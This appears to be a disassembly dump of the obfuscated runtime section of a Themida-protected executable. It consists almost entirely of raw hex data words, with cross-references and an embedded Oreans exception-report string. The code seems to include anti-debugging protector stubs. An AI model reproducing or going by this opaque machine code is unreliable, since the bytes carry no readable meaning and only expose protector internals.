dd 4244C89h, 4244481h, 1Ch, 1BC35141h, 0D93380AEh, 2612AD67h
dd 89E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 8C1E172Dh, 0A06EBF96h, 83F802A2h
dd 0E22655BDh, 840F0005h, 49h, 6820Fh, 958B0000h, 5E21FC9h
dd 0FC46858Dh, 0BD8905E4h, 5E22A91h, 0D718D0Bh, 33E905E2h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 94E2C353h, 788DC0B7h, 8B6644B7h
dd 28858DCFh, 8B05E4FCh, 0E205718Dh, 8589FC05h, 5E4FC5Bh
dd 8BF8B70Fh, 0E205ADBDh, 55BD8305h, 5E226h, 29850Fh, 0BD830000h
dd 5E50BE2h, 4B840F00h, 0E8000000h, 13h, 0C681F244h, 0A0DA9AD5h
dd 4E5BAF5Ah, 0FA5F8C9Dh, 800EC887h, 0E9595EF2h, 117Ah
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 36C35242h
dd 8D8B4421h, 5E2168Dh, 471BD8Bh, 42E905E2h, 8B000005h
dd 0E2013595h, 0E9C08B05h, 13h, 28379394h, 0BCA79A00h
dd 6AE093Bh, 0C95546FEh, 83DD127Ah, 0E21EA9BDh, 9750005h
dd 1805BD83h, 740005E2h, 8B535019h, 7D4B8C0h, 85890000h
dd 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h
dd 50177400h, 7D4B853h, 85890000h, 5E2315Dh, 0AFE99D8Dh
dd 0D3FF05E4h, 0B589585Bh, 5E231B5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0AFC35646h, 49636BD0h, 0EEB7027Fh
dd 8D895003h, 5E20FADh, 3C08B5Fh, 0E2145DBDh, 3F6805h
dd 0C680000Fh, 3006A33h, 0E215A195h, 6A006A05h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 6171C352h, 0C13A4FD6h, 95FFFC66h, 5E21421h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3BC35343h, 594BA251h
dd 0DE9EC1Dh, 75000000h, 2764797h, 88101048h, 38D6A006h
dd 561BD23h, 0C08505E2h, 6850Fh, 85890000h, 5E21E55h, 0FBDF8589h
dd 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0ABA1A5C3h, 0FB982EBh, 389h, 0FB8B6600h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0BACA55C3h, 2B33D4DCh, 6A006Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7DC35747h, 722AE0F2h
dd 0DE20E048h, 1379BD03h, 6A05E2h, 24F9BD29h, 6A05E2h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h
dd 0FC558B76h, 858D6F28h, 5E4FDBDh, 1761B589h, 9D0105E2h
dd 5E21D09h, 0BE950h, 0D5B30000h, 0A3F1BC65h, 87D56564h
dd 56016AEDh
dd 0A7E18166h, 16A5A15h, 52D958Bh, 16A05E2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 73C35141h, 14F59D89h
dd 0FF6805E2h, 0E9000F01h, 0Fh, 776DED50h, 9E6C6BBBh, 54EB4589h
dd 831B86A7h, 0E22655BDh, 840F0005h, 84h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FFC35747h, 7EF4AE47h
dd 5A762F56h, 0B58D89A5h, 8D05E229h, 0E4FC3C85h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 5CFFEC70h, 6E95574h, 0E3000000h, 15DD7E1Dh, 10E835h
dd 0AC520000h, 6E82DE7Eh, 1D056BB2h, 9981AFE0h, 0BD8B261Ch
dd 5E21A01h, 12E959h, 0C7810000h, 54791610h, 0FC12858Dh
dd 8D8905E4h, 5E222E5h, 15BD8B50h, 5005E21Ah, 0A75B589h
dd 0B5FF05E2h, 5E4FBDFh, 8424BF66h, 0FBCB95FFh, 952B05E4h
dd 5E21EA5h, 5DBD33h, 0C08505E2h, 32850Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 958BD9C3h, 5E21C59h, 35E9h, 8DBD0B00h, 6605E20Dh, 0D761D281h
dd 0FBE38589h, 0B5FF05E4h, 5E4FBE3h, 19E18529h, 95FF05E2h
dd 5E203C9h, 0C0852CB1h, 8850Fh, 89570000h, 0E22B6995h
dd 106A5A05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 35C35747h, 10C18031h, 2655BD83h, 0F0005E2h, 6184h
dd 14E800h, 0B8D30000h, 0FE3A0AE4h, 55D1912h, 13C51Fh
dd 332BA79Fh, 860F991Ah, 1, 858D5AF5h, 5E4FC3Ch, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 0AE9AC166h
dd 1958B91h, 0F05E211h, 8589FFBFh, 5E21881h, 11E9h, 0EA816600h
dd 858D857Eh, 5E4FC12h, 1F85BD89h, 0E95005E2h, 6, 61B8C65Ah
dd 0B5FFF95Fh, 5E4FBDFh, 0EE8h, 0AE97D600h, 5BD61584h
dd 51394387h, 2975F290h, 0E22F9595h, 95FF5905h, 5E4FBD7h
dd 9E9h, 0FC431C00h, 9991199Eh, 0C085C90Ch, 12850Fh, 8B0F0000h
dd 6, 7C98D03h, 8D8905E2h, 5E2075Dh, 0FBE38589h, 6A05E4h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0EA8CB2C3h, 0E52EA72Ch, 0FFB70F88h, 0C840Fh, 8D0F0000h
dd 6, 5ED958Bh, 6A05E2h, 0EE80006Ah, 0E3B5FFE7h, 8105E4FBh
dd 359799E7h, 0CF95FF45h, 6A05E4FBh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2839C352h
dd 2DA3C882h, 890CAB44h, 0E21FD1B5h, 0FC08505h, 685h, 9FC78100h
dd 0FF532E81h, 0E4FBE3B5h, 0FF0CB605h, 0E203C995h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0B08EDF22h, 33ACABA4h, 0E204118Dh, 0FC08505h, 0C85h
dd 7E900h, 95A0000h, 0D91F29EFh, 0F006A2Bh, 28Ah, 68D38B00h
dd 80h, 2A899D29h, 36A05E2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 19C35646h, 6E2C83F4h, 0B9BCF434h
dd 6546FAA5h, 1C52E9B9h, 66006A2Eh, 0BF0FFB8Bh, 56006AFBh
dd 685A5956h, 0C0000000h, 1A39BD89h, 0B5FF05E2h, 5E4FC5Bh
dd 5195FFF9h, 8B05E22Bh, 0E23191BDh, 0FFF88305h, 4F8850Fh
dd 0BA660000h, 85FFEBEDh, 5E506C9h, 0BD83FA8Bh, 5E506C9h
dd 0E5840F02h, 6A000003h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 89E6C350h, 0CE1D73FDh
dd 11E85Eh, 93AE0000h, 959FFE71h, 61D2D080h, 3EFEAEF1h
dd 31FD8AC0h, 0E21809B5h, 858D5905h, 5AF59Fh, 18FD9589h
dd 0D0FF05E2h, 4E9958Bh, 858D05E2h, 5AEFF2h, 28B0Fh, 0C88B0000h
dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 9AD28BC3h, 0ACD2BDD1h, 81C08BFEh, 88B3EDDFh
dd 0A9BD8345h, 5E21Eh, 0BD830975h, 5E21805h, 50197400h
dd 0B8C08B53h, 7D8h, 315D8589h, 9D8D05E2h, 5E4B2FAh, 585BD3FFh
dd 1805BD83h, 740005E2h, 0B8535017h, 7D8h, 315D8589h, 9D8D05E2h
dd 5E4AFE9h, 585BD3FFh, 23698D8Bh, 0C08B05E2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 57C35141h, 0FA16E893h
dd 8A607338h, 0D9BD29DEh, 6105E231h, 0F003F68h, 699D8900h
dd 6A05E231h, 10E900h, 42560000h, 3E68A4CFh, 6DFD6B8Ah
dd 0B275B587h, 6A7EC0h, 0AAD8529h, 95FF05E2h, 5E21421h
dd 0EE8h, 0F140CD00h, 0A113A7Fh, 0E8A1D0C5h, 8B9B9F84h
dd 0E204FD8Dh, 0C0855A05h, 1F15BD01h, 858905E2h, 5E4FBDFh
dd 41E98166h, 1FF68CFh, 81F8000Fh, 520DD9F1h, 55BD832Fh
dd 5E226h, 1C840Fh, 81660000h, 8D2D33C2h, 0E4FC3C85h, 45B50105h
dd 0E905E20Ah, 12h, 0C798D8Bh, 858D05E2h, 5E4FC12h, 0FCEBF0Fh
dd 8950CBB7h, 0E229A18Dh, 0DFB5FF05h, 6A05E4FBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 5C98C353h, 8D31239Fh, 5E20FDDh, 0FBD795FFh, 816605E4h
dd 89BDF1C1h, 0E4FBE385h, 85C7FC05h, 5E20A31h, 0
dd 0FBE3BD83h, 0F0005E4h, 1CC84h, 7E800h, 0ABB40000h, 8E73D81Ch
dd 0CA8166FCh, 8D5F14F9h, 0E4FEC185h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0B966DB29h, 0E950768Fh, 8, 0EF773182h, 0B5D9C197h, 6A016Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0BCD2EDC3h, 0BAD86DB4h, 0E9A34C92h, 0Dh, 32DB08Dh, 0D7C2C046h
dd 0DCA9CBE3h, 0FFE0B628h, 0E4FBE3B5h, 0F606005h, 810FD9B7h
dd 0
dd 5E961h, 970D0000h, 613CDD0Fh, 0FBDB95FFh, 958B05E4h
dd 5E21559h, 0FBE3B5FFh, 0BF6605E4h, 860FCAD0h, 6, 47DBD8Bh
dd 95FF05E2h, 5E203C9h, 2AB98D8Bh, 0FF6805E2h, 81000F01h
dd 0B75CADC1h, 55BD8335h, 5E226h, 19840Fh, 0B70F0000h
dd 3C858DC9h, 8905E4FCh, 0E205718Dh, 13E905h, 81660000h
dd 8DD922C9h, 0E4FC1285h, 0B9958B05h, 0B105E210h, 6A50ACh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 8B6662C3h, 0DFB5FFD0h, 6A05E4FBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B3D4C351h
dd 4738AEA3h, 9767F3B1h, 0FE9h, 5FD9300h, 0FE51BFFFh, 0C0E6E17Fh
dd 0A25DA4A2h, 0FBD795FFh, 0DE8005E4h, 0E385899Ah, 0FF05E4FBh
dd 0E4FBE3B5h, 558D8905h, 0FF05E218h, 0E4FBD395h, 6880F05h
dd 8B000000h, 0E231B98Dh, 0E3B5FF05h, 6A05E4FBh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 2D47C350h, 81FA2900h, 4BEF8CD2h, 0C995FF71h, 0B105E203h
dd 0F65BE937h, 9E9FFFFh, 0F4000000h, 0FFE985DCh, 34BF7CB3h
dd 72CB5FFh, 958B05E5h, 5E22F9Dh, 0B1595FFh, 0BD8905E2h
dd 5E2044Dh, 416CE781h, 858B591Fh, 5E22B19h, 0CE9h, 0E8BA0E00h
dd 3E3EB4B7h, 0B352D000h, 577E9E1h, 0B70F0000h, 0E1B58DFEh
dd 5205E4FEh, 7BEC31B9h, 9589595Fh, 5E21E49h, 0ACE6858Dh
dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 6FDAB3C3h, 1869D6C3h, 93BA66ECh, 6AD0FFA1h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 86EDC357h, 0ED4646A1h, 1506813h, 0E207258Dh
dd 8EB15F05h, 95FF006Ah, 5E20405h, 11E9h, 700F1400h, 899DCD94h
dd 0ECB47DDAh, 6F69B703h, 0F38B9D58h, 8DC9BF0Fh, 0E4ACE685h
dd 0CB8B6605h, 18519533h, 0D0FF05E2h, 21A1BD0Bh, 6A05E2h
dd 8259D09h, 95FF05E2h, 5E20405h, 0D7E8EA81h, 0C08B603Dh
dd 0D8C78166h, 0D781663Fh, 0BD83BDD5h, 5E21EA9h, 83097500h
dd 0E21805BDh, 19740005h, 0C08B5350h, 7D9B8h, 5D858900h
dd 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h
dd 53501774h, 7D9B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh
dd 5BD3FF05h, 0E9816658h, 6AB693h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 66B45C3h, 20BEF1D1h
dd 1F2494Ch, 0E218199Dh, 0FC08B05h, 681h, 0C98D8900h, 8B05E223h
dd 6A50D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 705EDAC3h, 0FFBFD88Bh, 53424965h, 31DD9D8Dh
dd 38B05E2h, 438B0389h, 50438950h, 6C59D8Dh, 38B05E5h
dd 8B5B0389h, 0E20E39BDh, 0C8B70F05h, 0C23611B9h, 8B006A7Bh
dd 0E2221595h, 0C5858D05h, 8B05E506h, 0E21DDD8Dh, 958B5005h
dd 5E21681h, 0D180606Ah, 0DD858D23h, 8B05E231h, 0E222FD95h
dd 11E85005h, 0FE000000h, 16D5AAACh, 84BA326Dh, 0BFA2BDE1h
dd 33C453DAh, 10E9h, 591C7A00h, 465A9148h, 0B59C1D89h
dd 6CE8597Ch, 0EA815905h, 65ADF9B6h, 6A006Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 9FE34BC3h
dd 0B551006Ah, 685AEBh, 66000018h, 6053CA8Bh, 60D2EE80h
dd 0A29BD89h, 5BBF05E2h, 61787D91h, 0E595FF61h, 8105E223h
dd 0EABD79E1h, 69BD8B14h, 0FF05E20Eh, 0E20A5995h, 0E5B58905h
dd 0FF05E214h, 0E5072CB5h, 0D68B6605h, 0B1595FFh, 6A05E2h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0DD4009C3h, 8D71AB77h, 0E231DD85h, 95895605h, 5E2003Dh
dd 18408B5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0D6C35040h, 85C7640Ah, 5E21A7Dh, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9EC35545h
dd 7E8EA6Dh, 1C000000h, 0FED4B221h, 8D0BAB04h, 5E20C3Dh
dd 0BD83F85Ah, 5E22655h, 43840F00h, 29000000h, 0E21CD58Dh
dd 8C3D05h, 830F0000h, 17Ch, 65F18166h, 37E926h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0EA601BC3h, 795E35B8h, 16AD9589h, 963D05E2h, 0F000000h
dd 13F83h, 0D9BF6600h, 9F858DD3h, 89005AF5h, 0E2197185h
dd 89D0FF05h, 0E22A758Dh, 0F2858D05h, 0FF005AEFh, 56006AD0h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0EA890D1Ah, 3F8A8A07h, 9FB973E4h, 8B1BACBAh, 0BD83FCC0h
dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h
dd 0BC6B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
dd 5BD8358h, 5E218h, 53501774h, 0BC6B8h, 5D858900h, 8D05E231h
dd 0E4AFE99Dh, 5BD3FF05h, 9DB58958h, 8905E209h, 0E22CB185h
dd 89C08B05h, 0E2221D8Dh, 0FFF88305h, 26850Fh, 0B70F0000h
dd 6585C7FAh, 5E222h, 23000000h, 0E2119D95h, 101E905h
dd 9D890000h, 5E21185h, 51E9h, 0FFBF0F00h, 0F01F883h, 4585h
dd 10E800h, 0E0840000h, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh
dd 958B350Fh, 5E22F8Dh, 117E95Ah, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 59E917C3h
dd 0BBC302D3h, 8AE93D97h, 0E9FFFFF1h, 0Ch, 0B0133577h
dd 61CC6673h, 0F239826Bh, 0B70FC08Bh, 7E9F8h, 0CF040000h
dd 0D4011236h, 0A9BD83C7h, 5E21Eh, 0BD830975h, 5E21805h
dd 50197400h, 0B8C08B53h, 7DDh, 315D8589h, 9D8D05E2h, 5E4B2FAh
dd 585BD3FFh, 1805BD83h, 740005E2h, 0B8535017h, 7DDh, 315D8589h
dd 9D8D05E2h, 5E4AFE9h, 585BD3FFh, 4D1B589h, 0D78B05E2h
dd 0BF0FC08Bh, 250E9D7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 24E06CC3h, 8DEFC728h
dd 0E504C985h, 8589F805h, 5E506C1h, 10E9h, 5C539200h, 82608308h
dd 0D39824D0h, 178EFCD3h, 56E949h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 71F254C3h
dd 0A09748AFh, 0CE0434BAh, 0D1858D14h, 2905E502h, 0E221499Dh
dd 0FE94005h, 65000000h, 0B6A26A4Bh, 13CB1D1Eh, 871434CEh
dd 858952F2h, 5E506C1h, 0F9953353h, 5905E221h, 858D346Ah
dd 5E21AB9h, 0C1B5FF50h, 6A05E506h, 6D95FF00h, 8305E22Ah
dd 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 0A4985C6h
dd 685605E2h, 9CA8B852h, 262DB5FFh, 858D05E2h, 5E239EDh
dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0E5073485h
dd 4985C605h, 4705E20Ah, 18AC9B68h, 2DB5FFECh, 8D05E226h
dd 0E239ED85h, 0FFD0FF05h, 0C6F08BD0h, 0E20A4985h, 61684F05h
dd 0FFC62F26h, 0E21189B5h, 0ED858D05h, 0FF05E239h, 309D8DD0h
dd 5305E507h, 0FF56286Ah, 75C085D0h, 4985C600h, 4105E20Ah
dd 87649868h, 89B5FFDBh, 8D05E211h, 0E239ED85h, 89D0FF05h
dd 0E5074D85h, 4985C605h, 4C05E20Ah, 0A4E7A468h, 89B5FF80h
dd 8D05E211h, 0E239ED85h, 8BD0FF05h, 0E507349Dh, 45B8D05h
dd 399D8D53h, 5305E507h, 0D0FF006Ah, 7349D8Bh, 3C705E5h
dd 1, 20C43C7h, 0C7000000h, 0E21A5D85h, 5, 6A006A00h, 8B006A00h
dd 0E507349Dh, 6A5305h, 730B5FFh, 95FF05E5h, 5E5074Dh
dd 0A4985C6h, 684505E2h, 92A5F797h, 150DB5FFh, 858D05E2h
dd 5E239EDh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
dd 7349D8Bh, 43C705E5h, 0Ch, 6A006A00h, 349D8B00h, 5305E507h
dd 0B5FF006Ah, 5E50730h, 74D95FFh, 0B5FF05E5h, 5E50730h
dd 0A5995FFh, 6A05E2h, 40595FFh, 6A05E2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 492EE3C3h
dd 982B1E5Ch, 9FF6CF81h, 858D32D8h, 5E53C0Ch, 8BFB8B66h
dd 0E22F8D95h, 0B70F5005h, 35FF64CFh, 0
dd 2F8D8589h, 896405E2h, 25h, 719D8900h, 8305E210h, 0E21CA1BDh
dd 840F0005h, 50h, 0BD83CE8Bh, 5E200B9h, 41850F01h, 66000000h
dd 806CA2BAh, 0E50B4DBDh, 850F0005h, 30h, 0D0B70F53h, 194E95Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0C985FCC3h, 8D8B53CAh, 5E207ADh, 8A50DB33h
dd 0C0335FEBh, 0EE8h, 667C2C00h, 953ECDC7h, 0E5C521D9h
dd 0E9B9001Dh, 14h, 2595528Ah, 7B92ED3h, 3E27E353h, 0F4CF924Fh
dd 982A6629h, 3F0F4059h, 8F640B07h, 5, 4C48300h, 68E0Fh
dd 0BD890000h, 5E21D79h, 0FF9958Bh, 0FB8305E2h, 15840FFFh
dd 0F000000h, 0FDE9FBB7h, 0E9000000h, 8, 74F952E6h, 635E5F90h
dd 7BE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 3659468h, 0E20BA995h, 23C18105h
db 0, 0C0h, 40h
byte_5218C3 db 8Bh ; DATA XREF: Themida_:004EE414o
; Themida_:004EFA30o ...
dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 5E53C2Eh, 0B8838Bh
dd 858D0000h, 5E53CD7h, 0B88389h, 335D0000h, 8D0FC3C0h
dd 6, 2529952Bh, 0BD8B05E2h, 5E23039h, 3C24858Dh, 0BD8905E5h
dd 5E22279h, 0FD8D0B50h, 8B05E20Ah, 0E20C25BDh, 35FF6405h
dd 0
dd 5860Fh, 0D9BF0000h, 0E9501641h, 0Bh, 0B7531B71h, 0A7B6DD39h
dd 642E1F48h, 2589h, 95890000h, 5E219E9h, 0AB9h, 0D704B800h
dd 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh, 0E8EA8100h
dd 0ED00345Fh, 5868FB81h, 0A75564Dh, 13C585C7h, 105E2h
dd 8F640000h, 5, 4C48300h, 1C0DBD8Bh, 0D78B05E2h, 0C08B74B2h
dd 8354E680h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
dd 8B535019h, 43DB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh
dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 43DB853h
dd 85890000h, 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0FE9585Bh
dd 54000000h, 96CC4D74h, 8AF858E4h, 175B0605h, 6AD98Ch
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0FE796FC3h, 43212FD7h, 4399D89h, 9D8905E2h, 5E217BDh
dd 3AE9C08Bh, 4000001h, 31000000h, 3535382Eh, 7 dup(0)
dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 85BD8300h
dd 5E206h, 12D840Fh, 858D0000h, 5E4AE19h, 83858D50h, 5005E4ADh
dd 168h, 2995FF80h, 8D05E4AEh, 0E53D8485h, 858D5005h, 5E53D8Eh
dd 6A006A50h, 97858D00h, 5005E4ADh, 0AE19B5FFh, 95FF05E4h
dd 5E20469h, 3D84858Dh, 8D5005E5h, 0E53D9285h, 6A5005h
dd 858D006Ah, 5E4ADA9h, 19B5FF50h, 0FF05E4AEh, 0E2046995h
dd 84858D05h, 5005E53Dh, 3D9E858Dh, 6A5005E5h, 8D006A00h
dd 0E4ADF685h, 0B5FF5005h, 5E4AE19h, 46995FFh, 858D05E2h
dd 5E53D84h, 0A6858D50h, 5005E53Dh, 6A006Ah, 0AE14858Dh
dd 0FF5005E4h, 0E4AE19B5h, 6995FF05h, 8D05E204h, 0E53D8485h
dd 858D5005h, 5E53DA2h, 6A006A50h, 0FD858D00h, 5005E4ADh
dd 0AE19B5FFh, 95FF05E4h, 5E20469h, 3D84858Dh, 8D5005E5h
dd 0E53D9685h, 6A5005h, 858D006Ah, 5E4AE05h, 19B5FF50h
dd 0FF05E4AEh, 0E2046995h, 84858D05h, 5005E53Dh, 3D9A858Dh
dd 6A5005E5h, 8D006A00h, 0E4AE0C85h, 0B5FF5005h, 5E4AE19h
dd 46995FFh, 0B5FF05E2h, 5E4AE19h, 0BFD95FFh, 0A2E905E2h
dd 83000000h, 0E22D71BDh, 840F0005h, 95h, 0B9BD83h, 0F0005E2h
dd 1185h, 4D958B00h, 8105E223h, 1CF8C2h, 0FE900h, 958D0000h
dd 5E231DDh, 8134528Bh, 0D4C340C2h, 2D95893Bh, 8305E219h
dd 0E2192DBDh, 840F0005h, 55h, 192D9D8Bh, 0C38305E2h, 89038B4Ch
dd 0E53D8E85h, 2D9D8B05h, 8305E219h, 38B50C3h, 3D928589h
dd 9D8B05E5h, 5E2192Dh, 8B54C383h, 9E858903h, 8B05E53Dh
dd 0E2192D9Dh, 58C38305h, 8589038Bh, 5E53DA2h, 192D9D8Bh
dd 0C38305E2h, 89038B5Ch, 0E53D9685h, 85BD8305h, 5E206h
dd 0D850Fh, 0BD830000h, 5E22D71h, 68840F00h, 0FF000000h
dd 0E53DA6B5h, 9AB5FF05h, 0FF05E53Dh, 0E53D96B5h, 0A2B5FF05h
dd 0FF05E53Dh, 0E53D9EB5h, 92B5FF05h, 0FF05E53Dh, 0E53D8EB5h
dd 88858D05h, 5005E53Dh, 3DC0858Dh, 8D5005E5h, 0E22D8D85h
dd 95FF5005h, 5E22C29h, 6A24C483h, 0AA858D40h, 5005E53Dh
dd 2D8D858Dh, 6A5005E2h, 6D95FF00h, 6A05E22Ah, 595FF01h
dd 8B05E204h, 1718EBC1h, 9B46F3h, 4 dup(0)
dd 0E9000000h, 20Bh
aLS db '`‹\$$è',0 ; DATA XREF: Themida_:004EF118o
align 4
dd 815D0000h, 0E54147EDh, 4C26105h, 0FFE6E900h
db 2 dup(0FFh)
aA_2 db '`aÂ',8,0 ; DATA XREF: Themida_:004EE7F8o
db 0E9h
dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h
dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 0FFFFh, 0
dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5E5417Fh, 0F000E681h
dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5E54183h
dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 2D858B00h, 8605E219h
dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
dd 74FF50FFh, 95FF0824h, 5E21461h, 4C010F50h, 8358FE24h
dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
dd 0FC00A03h, 984h, 2D858B00h, 0C605E219h, 0FF580000h
dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
dd 38840Fh, 2BB0000h, 8B000000h, 0E2192D85h, 0A188605h
dd 0F6850FDBh, 0C7FFFFFFh, 0E215C985h, 5, 24448B00h, 988B08h
dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5E215C9h
dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah
dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh
dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h
dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 5E54124h, 1
dd 4C010F50h, 858FFE24h, 5E54128h, 4120858Dh, 0BD8D05E5h
dd 5E54128h, 23E93889h, 8D000000h, 0E231DD85h, 38408B05h
dd 46F31705h, 2085899Bh, 8D05E541h, 0E231DD85h, 3C408B05h
dd 41248589h, 858D05E5h, 5E5413Dh, 14618589h, 87E905E2h
dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h
dd 0
dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh
db 0C2h, 8, 0
